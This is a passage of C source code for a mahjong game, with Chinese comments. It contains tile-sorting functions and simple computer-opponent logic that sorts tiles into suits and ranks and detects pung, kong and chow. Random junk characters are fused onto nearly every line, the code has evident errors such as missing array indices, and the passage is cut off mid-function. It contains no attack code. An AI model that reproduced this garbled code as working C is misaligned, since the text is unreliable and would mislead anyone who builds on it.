/ n% X( K3 l3 `0 F3 \. p  ocomputer.pp[n].number=computer.pp[j+1].number;
8 m/ W4 o/ F- J5 scomputer.pp[j+1].number=u;
6 O0 |+ H* W& Y& r/ ?0 @/ T}
9 W4 L# _5 Q; q}
1 h+ K; ]2 K* D}
9 }: I8 t5 z+ y9 x! uvoid melipai()
) Y7 R* b7 w6 U6 |! W5 M/ L{ int n,j,u;+ M( ^7 c) V* e8 F; I
int *lingshi;: J) P0 O/ i6 n0 z
for(n=0;n&lt;me.m;n++)/ A9 _* W) ^8 B- `* G
for(j=n;j&lt;me.m;j++). l# b# T! Q9 R$ c) j% X
{
) Z( W4 \$ C: e; I: Bif(me.pp[n].number&gt;me.pp[j+1].number)
5 _/ i8 a, i' ^# `0 y{$ E( k8 V! x% g+ J# R$ H
lingshi=me.pp[n].k;. Z7 c6 e" E/ I+ k7 K5 R$ g/ y6 H
me.pp[n].k=me.pp[j+1].k;
: x) E9 _0 Q& v  j) ^- S) T- Lme.pp[j+1].k=lingshi;' W8 R: O0 L5 B
u=me.pp[n].oneorfour;
# s0 u# l% ^: b/ @7 x4 gme.pp[n].oneorfour=me.pp[j+1].oneorfour;
* W+ Z9 S1 L! u& d: i6 vme.pp[j+1].oneorfour=u;; d1 ~1 j4 c" C0 _
u=me.pp[n].number;
. {' n" B4 B4 e3 Y9 @/ _me.pp[n].number=me.pp[j+1].number;
4 u" g7 m; D7 G% `! Z2 Y2 Yme.pp[j+1].number=u;# d1 o" H, P. O$ b
}
6 S1 N3 L7 D5 Y8 i, a% ~else# r* d  N) Y+ T
if(me.pp[n].number==me.pp[j+1].number); _; Q8 T. e. a" L6 ?% Y
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)/ g/ U2 \4 G* D- w$ e* y; m
{; c& g1 x- [5 Z2 J9 m3 p, q
lingshi=me.pp[n].k;
2 f- u3 r$ P6 V- }me.pp[n].k=me.pp[j+1].k;
+ L* b/ K. C( h3 q1 Y/ bme.pp[j+1].k=lingshi;
* V/ \# M: ~. S& c9 \( qu=me.pp[n].oneorfour;
+ y+ m  U/ P& ~" f" S% {1 \! cme.pp[n].oneorfour=me.pp[j+1].oneorfour;
6 U; K# |# o+ R- W: I0 Y1 }me.pp[j+1].oneorfour=u;
2 L1 x& U  w7 h; V: b; Au=me.pp[n].number;2 M6 D7 A7 W) P9 J4 T6 h( p+ q
me.pp[n].number=me.pp[j+1].number;
0 y% j2 A. h9 X5 T# {0 Yme.pp[j+1].number=u;
5 ]$ V& _* R" X7 u}6 F  Y* B# R5 t1 w) B  _) s+ }
}* R$ v- }; B) s! k$ K& l
}
) U; w, [7 y% t* Hvoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
! v9 H9 Q! f& s- R8 ~{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
2 R! I; `9 N, o) w6 ]if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
1 ~' h$ W8 l) @8 L' e{
" ~+ v3 S8 o& A$ A6 jlogo=1;
4 S: @0 T' i* h, pif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
6 e6 R7 s$ V8 g% y. Elogoo=1;
8 s! H, T0 {, d) O' e5 z% Pelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
1 j1 t; X  t9 @8 x& u- Jlogoo=2;& v/ D% c7 [) F. G! w
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8). A; O5 w' M# W
logoo=3;1 i% o) c0 U9 z9 }# g
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
, t! U- v. q" H9 L4 j0 Tlogoo=4;" C8 k, r& f" Y$ k: Z; x
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)8 L0 }4 ]( z0 R/ t, E2 i- Y: E
logoo=5;  `4 S9 @$ s" K! u& r
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)5 B8 s6 r( q4 ]' G- p
logoo=6;9 c" Y8 j! \* X& _
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
: r8 u5 _1 V7 c# E$ @. Xlogoo=7;1 N' j' p4 F4 Q, r4 h
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)- j  H3 S0 F' I# I$ w  l
logoo=8;
. N. Z3 |) C! S  P4 p1 d, Jelse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)" h) {* P' ~1 p& c2 L7 w0 _
logoo=9;: p0 U% F* a7 I" M2 d, E
}
; F8 ]8 ^$ U7 O. x& f8 Nelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36): J7 I( l( J$ U$ m
{
2 _1 Q5 k6 F/ Q. Q$ C, q) t; Q; flogo=2;
+ X: m1 M4 o* _4 A* a9 fif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
% A% {  ~- ~8 z$ V2 L7 _, Flogoo=1;7 @- G; Q8 h5 v4 T# O6 ^
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
' y6 g7 r' q- j" s& ~logoo=2;
# x; q. d' W! J3 n' T- H9 ielse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
9 w* k  v, s& v* Ologoo=3;2 {: ~' D2 _1 o8 d/ |' P
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)3 Y- M( c+ A  ^1 ^7 f6 w3 v) K6 X
logoo=4;) R# t; S/ {- r& x' F
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
1 o: N1 @$ B! b# E# A" Zlogoo=5;5 O7 T+ P2 y' E
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
" k- A8 C0 B! r- R9 j) ^logoo=6;
5 n) o8 j' X7 w  g' Lelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)* l; g' z( ]- g7 e* W( l  X# s
logoo=7;
4 t; i, ]) g+ r% W* eelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)* v" I$ t, ]& B
logoo=8;
7 R- e$ X' m" lelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)$ m' [0 |0 A; L; X# A8 A
logoo=9;) p1 G& _- N( ?
}( ^3 ^8 V7 [3 D" K# B- M# Y7 g
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)0 ^; q: n! s3 Q9 W, l% O! J1 U: k/ h
{! p# t! H' R& j  @
logo=3;. _$ ?( n0 g: e- m6 K" u: R9 A
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
1 S0 O* s( ?0 v& E/ a# zlogoo=1;
( d8 r& j4 P% @* x% helse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)2 @8 b8 }' k. y- u+ t
logoo=2;8 H3 |4 q, L# J  z2 }9 V% u
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
6 w2 Z+ j  K; |8 U  }0 C8 plogoo=3;
8 u- M  G% }8 Q# Zelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)$ \3 d5 o: W9 A, i4 Q* o) [
logoo=4;; z' W. Q/ f' Z5 }! ?) a- t9 U+ p5 ]
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)# X+ z5 V7 l2 L8 r0 S
logoo=5;7 i2 t% f' v' G. l7 X1 H3 O# O4 }
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
. B  M% u" w* R1 C' V: N7 @9 Klogoo=6;
3 p1 T/ n+ H3 qelse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)- x, f% B% \1 u% D* i, c/ T
logoo=7;+ X" l, y& z3 m
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
4 T" y3 u8 b; D! \5 `4 elogoo=8;
9 x7 B3 J  i6 telse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)* D/ a; D. z- q& l
logoo=9;4 O+ C( [* G: V) b1 m8 G0 p
}  e3 o- V0 z& c( r/ K* I& `& b
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
. s' q6 c) W# k' a) R{# G0 F4 Z: p3 ?) Q+ d# n+ B% L! B
logo=4;& B5 |9 G3 O/ C$ h8 _( L1 v
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
+ U3 V" q. B9 I5 \2 c& s6 Wlogoo=1;
) @% q0 {7 Z$ G) y0 H5 celse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)# ~; ~  _/ C. P6 _+ x& b
logoo=2;
7 [5 }5 W. h2 t3 u# o8 T/ v' }  D, D3 Eelse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)' @/ A3 h$ q: ~- f
logoo=3;7 S) ], y. E' ]# C. Q5 f3 Z
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)2 T8 q; W3 q- J. o& y) I; a
logoo=4;
6 n& x- e  N$ X$ ~( S! |( lelse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)+ L  b" E2 b! @* N: p$ P& E* \8 R
logoo=5;" U( L4 O1 z2 o
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
& ~- D( P0 s9 ]( q3 [( }0 mlogoo=6;
# A( b2 P# e- k/ Welse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
" T& W; e( u  u$ a* Ologoo=7;% D! M8 C! ], a5 p; l
}# B9 y' M5 E- x, U% g- y; M9 K8 l
while(b&lt;=computer.m)  f+ D; H: m$ J& c, y$ F
{
8 R9 r+ s6 k" wif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/+ W$ q! D1 B8 W$ H7 u
{
$ H/ T! N1 Q8 O, vlg=1;
$ |4 a2 ^+ L7 j6 ]! fcomputer.pp.d[0]=1;
2 l% s4 }7 o! Zif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
' F5 e( G, V4 g4 g" P3 z{
2 @) C! k3 _5 {  S& \' d7 Algg=1;
7 r! z9 A* s0 Z+ a& s/ a  vcomputer.pp.d[1]=1;
9 J+ ~" Z! j4 w  W; g4 d  D}
7 E) k6 |1 k( K& felse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4), Q4 d2 ~, c* n; _2 o3 H7 n2 [
{
9 }, d6 s, C( d' {" Tlgg=2;* q0 C8 u0 j7 Y3 R, t1 D2 f0 M
computer.pp.d[1]=2;
; e8 i1 R8 M, ~3 U0 ~1 T0 j: j}+ b  _$ h$ N3 t/ I! D' u( ]
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
% F; T4 X2 h; |) H{
  ]! M0 \; ?$ I4 mlgg=3;; ~3 E4 t! g4 ~9 b; y( H
computer.pp.d[1]=3;% W# j8 p; U2 k2 d+ D
}
" V6 Y# E9 T+ }% N0 p' jelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
+ C3 d0 Q, }/ ]+ S: e7 \% F* d{
% F( e  K+ }/ B4 ]  Vlgg=4;2 k# w! V9 F- Y
computer.pp.d[1]=4;
3 V+ c6 \0 R4 O6 w* H1 @}
" l7 _* H8 ~; L6 e0 r, r8 Nelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)* g; D* W0 P6 |# P
{3 a! C; m5 \/ G7 T
lgg=5;7 [: }6 d6 H% F' E0 x' T1 D( x
computer.pp.d[1]=5;
8 s) \, `, j# K- I. i}
2 Y  w) \. Q, b+ Nelse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20); b; ^0 O9 ^" U# S  s; {; q' o
{! U( z4 P& R6 ]0 @
lgg=6;# |- T8 Y% b- L- A* o8 S# {
computer.pp.d[1]=6;
5 Q9 e/ X& _4 h1 I1 ^& Y# E}! d2 O4 K/ ?& Y) d. ]; T" m
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
, v. C7 L; u: I- m{
2 l% Q; D- z: @$ `! Nlgg=7;) t' X. K$ ]; N: X0 b
computer.pp.d[1]=7;6 ?* z5 G7 G: S  H
}
6 ~- ^3 @  A, w3 pelse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
: J# @& K) \- _, G) c  {{
8 I; r! c+ r' q, l& I+ Klgg=8;
3 ~3 d7 A) S: m- ^, j# y" hcomputer.pp.d[1]=8;+ o2 h- _5 K: _! I# m+ x" K7 N4 S1 k
}& Z5 {0 w# j! A9 T+ g
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)6 D" N7 c  |% W$ I
{
, h# m$ @) m, n7 Hlgg=9;# @9 z9 [/ i' S# k! u/ c( Z
computer.pp.d[1]=9;: b1 l5 S2 A4 N; d9 g% S
}
1 g7 h4 P+ J& }3 x}
3 j+ W3 u" E3 O- K' r/ u! Velse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)4 @, X( t; H9 q* G, T1 b/ n
{
7 B6 Z+ f. m7 T: V, Glg=2;9 H# h3 X& k0 R8 }
computer.pp.d[0]=2;
& `1 x0 }  E& n( \% ?7 Bif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)# B0 p# R8 S. E3 i4 b3 j6 o
{. ?8 r9 P' |# Z1 F3 L' E
lgg=1;$ U4 y. b0 D, L2 Y. S+ R# r% t* f6 u
computer.pp.d[1]=1;2 Z' m$ E% w- L3 z
}
# s6 C5 x4 H: V$ ~8 b& \( x& pelse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)6 n* R# U: f. W
{
) N  m1 [) v5 @+ F6 k7 Mlgg=2;  x8 T1 R% d2 k! s1 b
computer.pp.d[1]=2;- [$ a+ O7 {6 [& L7 J
}
* f/ @  ?. R& G. S# ]- j9 i/ Delse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)/ `; \) o2 R' h  a! E
{+ |( |& J1 f) |: ]" d
lgg=3;
8 ^+ J) Y) k* Qcomputer.pp.d[1]=3;
! Y# U9 V: K; b}, h- R2 K. \# {/ s, |
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)& M! o$ G& d& ?4 s
{
7 d+ D; t1 f3 r- }0 N2 A4 T( Nlgg=4;- W0 j4 n1 U2 t9 D4 L- }
computer.pp.d[1]=4;0 y# R( p1 I$ H
}
+ L2 c; _/ c, t5 W. T# B; s, I; [else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
  B* B4 H' ?7 z9 l{0 o/ @' s6 y* W7 Z  b
lgg=5;( @' d7 a, c( A- Y
computer.pp.d[1]=5;, m# Z4 N* b) M* |! R; s' N
}! K0 f9 g: f* L- M% ^7 t: v
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
7 O! k. \* u. s; T1 S& N* Q{, }+ P+ D: \1 X( [/ X6 @
lgg=6;
; y7 g, x6 J0 wcomputer.pp.d[1]=6;' [# ~9 {0 T  X+ Q+ @" `
}( z9 r' P" H: m" B" C
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)  n' ?( v* G7 O# K
{
* N9 t8 N) o4 nlgg=7;4 p2 O% v( T! ?
computer.pp.d[1]=7;3 X  t; t/ L' @- b0 g" D1 R
}
7 X6 ^2 c" ^1 Eelse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)8 }% d5 G+ h( p. d. S
{
0 U0 W1 G: i* T2 i  |% @lgg=8;* A$ W8 m# G) A5 `6 x3 M" a
computer.pp.d[1]=8;; K) n8 w: F+ p" w
}
9 ?* T/ s$ h" V+ qelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)% T- Y% z& M. i: t8 |2 K
{
6 `+ ~3 O# N1 V% Clgg=9;- P$ {- @) G: ]( z# K. e
computer.pp.d[1]=9;
& L. k. n+ t5 J5 |; W' b}
( ~/ t& `; H; h$ \: p7 P}
* [  r% `3 f- F3 n/ a) _; w2 nelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)7 ?9 K' @( f# m2 t% g
{
# n/ ~+ P4 \( n/ o0 tlg=3;
: L" n% \, i$ ?4 P& z: k. v% ncomputer.pp.d[0]=3;* |3 c( B  U. T; c5 F
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)( F1 n! m/ @. d
{
: S2 i# a7 B& ]8 j% e  m" Klgg=1;; k2 `5 g1 b. C+ I
computer.pp.d[1]=1;
' ^" `; Z0 W4 ~/ _4 g}
/ J6 C. i! n& n/ Qelse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
' S" b: S3 s" ]( i: L! p: s' e{- L2 {' B4 c* E2 i- S
lgg=2;$ c1 H( A3 }3 W4 o' ~
computer.pp.d[1]=2;
% R! w: `4 g, l' U' p2 w6 O8 ^" D}5 s# n5 [4 w3 P! r$ p3 `
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
: m$ b  h/ U8 [! p; r. ~& B- P{9 K# V% b4 c" p) E( X7 @
lgg=3;' e: j' p" a% _9 {7 z) N
computer.pp.d[1]=3;* v5 N0 p' l2 R" l* z
}
4 o+ V9 I$ x) ^& @4 qelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)' _4 V& s! ^; m9 J6 T% N- }
{
9 K5 X9 {" q( A8 ]0 o) w1 [4 Jlgg=4;
, r0 _4 T; `3 b( b5 {! Q9 T1 Icomputer.pp.d[1]=4;
% @$ H* Y! t- e0 h5 U7 x}
$ N" M2 L& m' l+ \4 D" H* Ielse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)( g' B9 l; t( p4 c2 J7 e1 M# A
{7 O# a( a0 x! w& ^/ j( U# z
lgg=5;+ y; [4 w# M5 K6 e  {7 a' g
computer.pp.d[1]=5;
- R; S: i9 G* U" |8 k& \# t$ L}6 m, D% `, i0 g. g& i( Y
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
0 h; T; r8 O- a) J{( B0 k& Y# S3 C0 p' I
lgg=6;% s* N3 [# [! {. |
computer.pp.d[1]=6;  {8 W1 `) Q% x! k; X/ n' w7 N
}+ ?2 D: z. d+ s( s
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
( c" u1 M9 ~2 G* L; d{7 c: I) M% M( t9 k2 E
lgg=7;
/ u. b) x" \: g/ c5 `2 V+ t" i  l# jcomputer.pp.d[1]=7;: T4 s/ c4 T8 Z  k7 g  a- k1 h
}
( B, p" o8 z5 R; H2 z% }else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)  `. m: @; `! c& A1 |( T2 u
{
& D" t# M  n' f+ r: U. G! q# vlgg=8;2 m% j% S9 n& t
computer.pp.d[1]=8;9 n& T. h0 R( w5 {5 Z
}) W* H0 x) r4 {; v3 ^" q, {( I
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
# a; n, o( c4 N! Q{! m- O8 w+ L$ C  b5 l
lgg=9;
; k( O3 s6 l5 I2 @- o1 \' Rcomputer.pp.d[1]=9;
8 i, Q, i) g+ ?" g# C- \# m' f}
: q7 I* U8 y/ j# I9 [0 d}$ a1 d8 B. F- s6 h% X+ V/ r8 u
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)( m0 d! N' X: Z/ F" _8 G
{
6 x5 u) Q! Y/ ^  {% ~lg=4;& @# u$ \/ A4 A$ R! U* Z
computer.pp.d[0]=4;
6 J* e( x% X6 E+ tif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
; h) O! }. Y" }* q9 q. c; L{/ k7 c) L  M( f7 K9 t
lgg=1;) m6 ]/ `+ ~/ O$ {3 e- V, t- t
computer.pp.d[1]=1;+ G# L+ B+ D# T% r1 ?( B$ \
}- t2 E. R! v' }" f& S: Y, a
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)  k+ ?  }) _; |: F0 x4 w
{
$ i; f, K5 M9 T' d# x. {% nlgg=2;
1 l4 {2 \! I& g* b7 C# b/ Wcomputer.pp.d[1]=2;
4 n" |0 T0 c0 X% [}
2 @" ~/ W( P; B- E" _5 w/ ?else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
( u; d$ M3 x: {' |, L1 Y{# Y1 \, W$ ?! l+ f$ B2 v( T1 w
lgg=3;( s# o4 M3 u$ I" V! Q) {* S
computer.pp.d[1]=3;5 d9 P: X+ E8 e1 u$ e0 l
}& V+ j0 J7 D2 \2 U4 ?
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)( S4 _, P3 G' q  k0 m( V
{, j' L' |+ [, Q* A5 i
lgg=4;
/ p+ E/ F* T4 Z$ b2 m6 ^4 C3 ^computer.pp.d[1]=4;, W/ T9 A( }+ G6 [% t! _
}
1 T: W5 o6 ^0 D( Felse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
  S+ d( V2 X# G% l' ?: n{) u3 P3 O! a& V- X. `. Y& j; J$ A) \
lgg=5;/ _. p: S0 I2 W( X
computer.pp.d[1]=5;6 B0 ?* W5 j0 y+ ?2 O
}- x8 r. y! T& C" }6 r0 s
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)- N# }/ A: J8 [) J! S
{
4 S( [4 e% u( L) t+ dlgg=6;- Y3 F( ~% a' m% D% F0 H; _9 X) k
computer.pp.d[1]=6;
! E; \$ m3 T) J2 ~+ @& S}3 v% H2 u' R6 x
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
( l6 U* ~, S( `2 Y  L0 r! B1 g1 X{
" b) k: P' y- I& R% Dlgg=7;: h1 I/ B  r; O$ W8 a( j% S: e
computer.pp.d[1]=7;1 S. z" \% w5 q" p: _
}* o# V' f6 _, y4 v* v$ d
}
- Z5 W3 t; Z5 X3 r  w" [- O1 K7 `( G) F, w: q' R; I+ z' e
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/5 n( y7 H, w; ], j2 T, o; o" M0 m
if(logoo==lgg)
0 o  ^5 O, P* B( ]3 a- Fpg++;. u+ B3 d* j+ k6 y* ^
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
5 F0 u# k, i; F  z% m9 |; Jch.lgg=lgg;
& m! I/ A( F' C& k+ \lg=0;! m5 j' H: U/ |+ c
lgg=0;
) m, x0 M( v0 U6 Y6 b/ Ub++;
% b- s7 S1 I/ w7 [}: }! D0 y5 m! M/ n/ ]
if(pg==2) /*乓*/& m0 @+ z) H4 R! ]
{
1 S2 W4 |. P" e# k) t
( A1 W8 c+ w8 @. F! fsing=1;
, t' W) ]  x' S* n+ zb=computer.m;
; x+ l" J* W/ Q4 ?- _4 y) O! j+ _  Twhile(b!=-1)0 A5 e/ ?5 }! `: k- g
{
6 _# g, ~3 b. t# gif(strcmp(me.pp[c].k,computer.pp.k)==0)4 S  q: P4 p/ x! }+ N" P" I
computer.pp.p=1;! d) V7 J1 o/ n; l: ]3 m

) I# S$ m' ?/ |: p/ ^5 @- t5 G, k. w% @b--;% C/ N$ j% W- m8 _/ a  L
}
& W# c& @( g0 C; ]( y9 N}
$ q6 Q. X- D8 I5 _( Iif(pg==3) /*杠*/
- ^2 ]/ q. F5 M9 f) I0 S" S{6 c$ ?. X5 o% _2 M  ^8 n" o- {

3 M1 N% t6 a+ esing=2;
' o' }1 v9 G( p/ |+ P: ib=computer.m;
4 Y# F, t# Z4 B+ F( R! u: h. Lwhile(b!=-1)2 I9 j3 G$ N# X
{- n1 C4 w" {" B5 n
if(strcmp(me.pp[c].k,computer.pp.k)==0)4 K4 C; f, O' v( f$ D
computer.pp.g=1;: y2 Y$ ?# F$ |& t6 x5 D
b--;
, o2 v7 H8 L  y! e: D}2 B6 R$ ~% s- ~. F+ |8 O/ M
}
! ]3 f/ B$ \: B; ?3 p- C, _% zf=0;0 D# l" K+ F- d& P1 O" p
while(f&lt;computer.m) /*吃的判断*/* R' G( |3 U/ t6 p
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)5 {7 l3 V3 H& u) @
{
# L0 Y0 `. i% u4 _# Yif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/' {2 k6 ?" A: |, O
if(ch[f].lgg-logoo==1)5 v4 N, @  `. O/ G; `( w$ y2 ]' Z! V
{
7 R. K/ i. ?+ z, C2 [$ i& g# y- N1 Hgp++;
; p) |+ R9 A! tcomputer.pp[f].c=1;
( s$ l" S1 o; e0 p. h- e$ xcomputer.pp[f+1].c=1;3 n8 z- R- r9 n. M- Z" p
}
1 @8 }: I! w0 [) y0 X. L2 o$ lif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/0 I" g8 s- n  ^2 s  q$ ?; s
if(ch[f+1].lgg-logoo==-1)7 [7 c( C7 d* i  @% w/ j
{7 H) X7 j. m1 n9 b- V0 V
gp++;
( l1 i4 p- @& u1 D" rcomputer.pp[f].c=1;
+ J* i$ \& K" {& ocomputer.pp[f+1].c=1;
; P7 P8 C& Y! _! _' z# R}
) e' o* O2 C2 O: m" p. Kif(ch[f].lgg-logoo==-1) /*中吃*/
* C9 {2 g( X2 E3 mif(ch[f+1].lgg-logoo==1)- Y, c9 t$ n5 {
{2 m; F) v5 c  Q' k4 D+ t& @
gp++;
5 R8 }/ h5 q: D6 d) acomputer.pp[f].c=1;
. }* D9 `) A9 u, o1 ecomputer.pp[f+1].c=1;! y2 H) F5 i6 R, t2 f6 Y- h
}7 |) T) q+ y2 h& T5 `
if(gp==1)1 D  s" v/ O% S) {* [. m
break;( V8 X( T6 b# c* K
}
& }8 F4 o8 Q' G% Nf++;$ k; F" b& Y6 H# ^/ w( j9 b+ X/ D
}
( r; c* s/ i# `1 sif(gp==1)
& E2 f$ ^$ Y8 R: M2 q5 H: u{sing=7;% Y3 d8 U: ^9 a' t  C
% {, W8 |/ @% c/ R2 Z: A" A1 e
}# t6 _6 @6 E! j$ ^$ a2 j
pg=0;  P5 i0 F3 g4 g% P0 q$ L
gp=0;+ H# `. n, u+ K# s0 k) r
b=0;
8 v& a: z, b2 e# l& p}* {. c; d1 i- N9 e6 c  T
void rgznme(int c) /*本程序涵数的核心针对我的牌*/; _) b: p* t8 c0 R
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;7 C  N' l+ s. N" Y
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)2 D( G% {  v' b
{; {* s) t7 X4 [2 t# k% [
logo=1;( x, R1 \( I8 n
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0), T+ p& |4 U! k& G
logoo=1;( C6 u  z0 }7 R" G: `
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
9 t2 L# Z! z6 \9 |1 elogoo=2;
2 b& Y, x' \4 q4 g/ e; J/ f8 G+ uelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
1 z$ J% z  m  u# }- X# ylogoo=3;: s' p" w" t( r5 x3 `
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
# F* ]6 r' }5 A' w5 `: m3 T& tlogoo=4;
: L& g2 Q! M" |else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
9 D+ b4 W! n; Xlogoo=5;, a. K7 A3 i9 N* {% E& e( N
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)6 D: Y+ [4 W; H3 D
logoo=6;
! w) Z  Z* h- velse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24). `& S7 q2 V2 W8 S
logoo=7;
) D3 G, Z5 `/ ^8 e' _7 qelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)/ h1 X! G& ?; E3 ^; Z5 r# L9 W
logoo=8;
" u$ R  L2 y" p4 delse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
" o. o$ V, G0 `- llogoo=9;
( E+ Q! r" n$ r) c2 T* _2 h}1 G4 A8 M9 w- Q3 ~- H' _
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36); J/ B1 @+ i" F
{
/ {7 ?# B# L5 Qlogo=2;) I- B2 \+ d, T3 x# I; T
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)7 {; F1 u8 y/ U6 E' P; j
logoo=1;
3 _. Y, e- ]5 B$ W' W9 ?else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
# X" U! n! Z9 r3 p+ a9 ?logoo=2;
) s" `9 B0 W4 b9 H& e$ o+ E& Pelse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
3 Y% M5 R7 {6 S  I' Klogoo=3;
